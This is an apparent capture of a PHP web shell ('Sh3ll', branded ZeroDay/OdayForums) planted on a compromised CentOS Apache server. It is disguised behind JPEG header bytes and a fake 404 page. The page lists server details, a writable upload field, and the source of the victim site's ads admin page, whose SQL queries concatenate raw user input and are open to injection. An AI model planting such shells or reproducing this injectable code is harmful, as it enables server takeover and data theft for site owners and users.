ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/admin/ads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/code/admin/ads/list.php
<?php
$keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
$where = " WHERE ads_name<>'' ";
if($keyword!='')
{
    $where .=  " AND (ads_name LIKE '%".$keyword."%') ";
}

$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 100;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_ads ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$query = $DB->query("SELECT * FROM tb_ads ".$where." ORDER BY ads_pos LIMIT $from, $pageSize");
$txt_list_ads = '';
$stt = 1;
while($row = $DB->fetch_row($query)){
    $txt_list_ads .= '<tr id="tr_ads_'.$row['ads_id'].'"><td>'.$row['ads_pos'].'</td><td>'.$row['ads_name'].'</td><td>'.$row['ads_domain'].'</td><td>'.html_entity_decode($row['ads_code']).'</td><td>'.$row['ads_status'].'</td><td>[<a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=ads&type=post&ads_id='.$row['ads_id'].'\',\'Edit\')">Edit</a>] [<a href="javascript:void(0);" data-id="'.$row['ads_id'].'" class="delete_ads">Delete</a>]</td></tr>';
    $stt++;
}
$nav = $print->Pagination($totalPage,$pageNum,'menu','?act=admin&code=ads&type=list&fkeyword='.$keyword);

$type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
if($type2=='update_pos'){
    if(isset($CORE->input['txt_pos'])) {
        $pos = $CORE->input['txt_pos'];
        foreach ($pos as $key=>$val){
            $DB->query("UPDATE tb_ads SET ads_pos = '".$val[0]."' WHERE ads_id='$key' ");
        }
        unset($pos);
    }
    $print->refresh('?act=admin&code=ads');
}
?>

ZeroDay Forums Mini